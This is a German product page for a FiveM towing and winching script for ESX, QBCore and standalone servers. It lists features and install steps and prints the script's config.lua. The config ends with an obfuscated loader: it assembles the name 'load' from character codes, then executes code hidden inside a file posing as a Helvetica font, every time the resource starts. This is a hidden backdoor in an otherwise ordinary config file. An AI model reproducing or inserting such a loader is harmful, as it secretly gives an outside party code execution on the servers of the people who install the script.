Kuz Abschleppen & Seilwinden
Kuz Abschleppen & Seilwinden - Dieses FiveM-Skript ermöglicht nahtloses Abschleppen und Seilwinden von Fahrzeugen. Kompatibel mit ESX Framework.
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https://www.youtube.com/watch?v=3yxOFhkwtyQProfessionelles Abschleppen und Bergungssystem fĂĽr FiveM-Server
Bringe realistische Fahrzeugbergung und Geländebefreiungskapazitäten auf deinen FiveM-Server mit diesem umfassenden Abschlepp- und Bergungsskript. Egal, ob du einen Mechanikerjob ausführst, ein Abschleppunternehmen betreibst oder einfach nur interaktive Fahrzeugfunktionen hinzufügen möchtest, dieses Skript bietet die Funktionalität, die du benötigst, mit außergewöhnlicher Leistung und Flexibilität für alle gängigen Frameworks.
Kernabschleppfunktionen
Vielfältige Abschleppmechaniken
- Spielerbesetztes Abschleppen - Abschleppen von Fahrzeugen mit Spielern im Inneren fĂĽr realistische Beschlagnahmungsszenarien
- Abschleppen von unbesetzten Fahrzeugen - Fortschrittliches Autopilotsystem lenkt und bremst automatisch geschleppte Fahrzeuge, um gefährliches Schwanken zu vermeiden
- Präzise Seilplatzierung - Positioniere Abschleppseile genau dort, wo sie benötigt werden, mit intuitiven Befestigungskontrollen
- Anpassbare Seillänge - Konfiguriere die Seillänge zwischen 6-15 Metern (10 Meter empfohlen) für verschiedene Abschleppszenarien
- Geschwindigkeitsbegrenzung - Konfigurierbare maximale Geschwindigkeit für Abschleppicherheit (oder deaktiviere für uneingeschränktes Abschleppen)
Dynamisches Bergungssystem
- Natürliche Verankerungspunkte - Bergung an Bäumen, Felsen, Büschen und anderen Weltgegenständen für authentische Geländebefreiung
- Fahrzeug-zu-Fahrzeug-Bergung - Ziehe festgefahrene Fahrzeuge mithilfe eines anderen als Verankerungspunkt
- Realistische Physik - Seilspannung und Zugkräfte fühlen sich natürlich und responsiv an
- Mehrwinkelansatz - Greife Bergung von jedem Winkel an, der taktisch sinnvoll ist
Framework-Integrationsoptionen
Standalone-Modus (kein Framework erforderlich)
- Command-basierter Zugriff für universelle Kompatibilität
- Perfekt fĂĽr Server ohne ESX/QBCore
- Funktioniert aus der Box mit minimaler Konfiguration
ESX-Integration
- Item-basiertes System - Erfordert das Abschleppseil-Item aus dem Inventar, um das System zu verwenden
- Jobbeschränkungen - Beschränke den Abschleppzugriff auf bestimmte Jobs (Mechaniker, Abschleppunternehmen usw.)
- Wirtschaftsintegration - VergebĂĽhrung fĂĽr Seilnutzung oder mache es zu einem Verbrauchsgut
QBCore-Integration
- Vollständige Item-Unterstützung mit QB-Inventar-Kompatibilität
- Jobbasierte Berechtigungen fĂĽr Abschleppfahrer
- Nahtlose Integration mit QB-Mechanikerjobs
Sicherheit und Fahrzeugschutz
- Sperrerkennung - Verhindert das unautorisierte Abschleppen von gesperrten Fahrzeugen (konfigurierbar)
- Anti-Diebstahlsystem - SchĂĽtzt Spielerfahrzeuge vor Diebstahl durch Abschleppen
- Jobfahrzeug-Weißliste - Erlaube bestimmte Jobfahrzeuge, unabhängig vom Sperrstatus abgeschleppt zu werden
- Fahrzeugklassen-Schwarze Liste - Verhindert automatisch das Abschleppen von Motorrädern, Booten, Flugzeugen und anderen ungeeigneten Fahrzeugen
Leistung und Optimierung
Entwickelt mit Serverleistung als höchste Priorität:
- 0,00-0,01 ms Leerlauf - Nahezu null Ressourcenverbrauch, wenn nicht aktiv geschleppt wird
- 0,02-0,04 ms Aktiv - Minimaler Leistungsimpact während Abschlepp- oder Bergungsvorgängen
- Effiziente Seilsynchronisierung - Konfigurierbare Sync-Dauer (30 Sekunden Standard) balanciert Realismus mit Serverlast
- Optimierter Netzwerkverkehr - Smart Syncing reduziert Bandbreitenverbrauch auf hochbesetzten Servern
Umfangreiche Konfigurationsoptionen
Anpassbare Einstellungen
- SprachunterstĂĽtzung - Integrierte Locale-Datei fĂĽr leichte Ăśbersetzung
- Command-Toggle - Aktivieren/deaktivieren von MenĂĽkommandos nach Bedarf
- Seillängensteuerung - Passe die Abschleppdistanz an deine Serverbedürfnisse an
- Geschwindigkeitsbegrenzungen - Setze die maximale Abschleppgeschwindigkeit oder entferne Begrenzungen entirely
- Sperrerkontroll-Toggle - Wähle, ob gesperrte Fahrzeuge abgeschleppt werden dürfen
Fahrzeugklassenverwaltung
Standardmäßig schwarzegelistete Fahrzeugklassen (konfigurierbar):
- Klasse 8 - Motorräder
- Klasse 13 - Fahrräder
- Klasse 14 - Boote
- Klasse 15 - Hubschrauber
- Klasse 16 - Flugzeuge
- Klasse 21 - ZĂĽge
Ideal fĂĽr
- Mechanikerjob-Skripte, die realistische Abschleppmechaniken erfordern
- Abschleppunternehmen-Roleplay mit Beschlagnahmungssystemen
- Geländegemeinschaften, die Bergungsfunktionen benötigen
- Polizeidepartements mit Beschlagnahmungshof-Systemen
- Rennserver, bei denen Fahrzeugbergung häufig vorkommt
Installation und Einrichtung
- Entpacke die Ressource in den Ressourcenordner deines Servers
- Konfiguriere die Einstellungen in config.lua (Sprache, Seillänge, Geschwindigkeitsbegrenzungen usw.)
- FĂĽr ESX: Aktiviere Item-UnterstĂĽtzung und fĂĽge 'towing_rope' deiner Datenbank hinzu
- Für QBCore: Konfiguriere Item- und Jobbeschränkungen nach Bedarf
- FĂĽge zu server.cfg hinzu und starte neu
- Blacklisten/Whitelisten Fahrzeugklassen nach Bedarf fĂĽr deinen Server
Framework-Kompatibilität
Standalone: Volle UnterstĂĽtzung ĂĽber Befehle (kein Framework erforderlich)
ESX: Volle Integration mit Items und Jobbeschränkungen
QBCore: Vollständige Kompatibilität mit QB-Item- und Jobsystemen
QBOX: Funktioniert nahtlos, da QBOX auf QBCore basiert
Was unterscheidet es?
Im Gegensatz zu grundlegenden Abschleppskripten, die einfach Fahrzeuge befestigen, enthält dieses System einen intelligenten Autopiloten für leere Fahrzeuge, um unrealistische Seilphysik zu verhindern. Das Bergen an Weltgegenständen eröffnet entirely neue Spielweisen - festgefahren im Schlamm? Bergung an einem Baum. Fahrzeug rollte eine Klippe hinunter? Verwende ein anderes Fahrzeug als Verankerungspunkt. Das konfigurierbare Sicherheitssystem bedeutet, dass du genau kontrollieren kannst, wer was abschleppen darf, um Missbrauch zu verhindern, während die Rollenspielrealismus gewahrt bleibt.
Technische Details
- Ressourcenname: kuz_towing (oder dein bevorzugter Name)
- Abhängigkeiten: Keine (100% standalone-fähig)
- Codezugriff: Vollständiger Quellcode enthalten
- Updates: Regelmäßige Kompatibilitätsupdates von KuzQuality
- Support: Aktive EntwicklerunterstĂĽtzung-Community
Config
Config = {}
Locale = {}
Config.Debug = false
-- Displayed text (Use these settings to translate to your language)
Locale.press_to_attach = 'Press to attach'
Locale.press_to_detach = 'Detach all ropes'
Locale.vehicles_locked = 'This vehicle is locked and therefore cannot be towed'
-- Enable or disable the use of command which opens up the towing menu
Config.useTowingCommand = false
-- Command that will open the towing menu if enabled (Without the slash /)
Config.towingCommand = 'towpls'
-- How long the towing rope should be (in meters) I highly recommend keeping it between 6 and 10 meters
Config.ropeLength = 15
-- Time in seconds, how long it should take between each re-sync of the ropes, (30 seconds works well, for big servers you can make it higher)
Config.ropeSyncDuration = 30
-- Max speed (in MPH) of vehicles which are towing or being towed (set to -1 to disable speed limiting)
Config.maxTowingSpeed = 300
-- Whether we should disallow players from attaching ropes to locked vehicles
-- (For example. To prevent them from stealing vehicles of other players)
Config.checkForLocks = true
---------- ESX Only Settings -----------
-- If your server is running on ESX you can enable it to use the towing rope item
Config.useEsx = false
-- You need to add the rope item to your database yourself !
Config.towRopeItem = 'towing_rope'
----------------------------------------
-- Classes of which vehicles may not be towed or tow another vehicle
Config.blacklistedClasses = {
8, -- Motorcycles
13, -- Cycles
14, -- Boats
15, -- Helicopters
16, -- Planes
21, -- Trains
}
--[[ All vehicle classes
0: Compacts
1: Sedans
2: SUVs
3: Coupes
4: Muscle
5: Sports Classics
6: Sports
7: Super
8: Motorcycles
9: Off-road
10: Industrial
11: Utility
12: Vans
13: Cycles
14: Boats
15: Helicopters
16: Planes
17: Service
18: Emergency
19: Military
20: Commercial
21: Trains
]]
local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()
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